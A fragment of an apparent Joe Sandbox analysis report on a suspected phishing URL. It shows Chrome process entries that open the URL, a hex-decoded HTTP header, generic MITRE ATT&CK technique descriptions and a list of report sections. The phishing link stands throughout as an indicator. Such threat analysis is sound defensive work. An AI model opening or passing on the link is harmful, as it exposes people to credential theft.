2025-01-22 05:34:20 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 65 73 74 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}

Target ID:	0
Start time:	00:33:33
Start date:	22/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	00:33:36
Start date:	22/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2008,i,9276430533462754567,2952342445411814565,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	00:33:43
Start date:	22/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Windows Analysis Report
http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com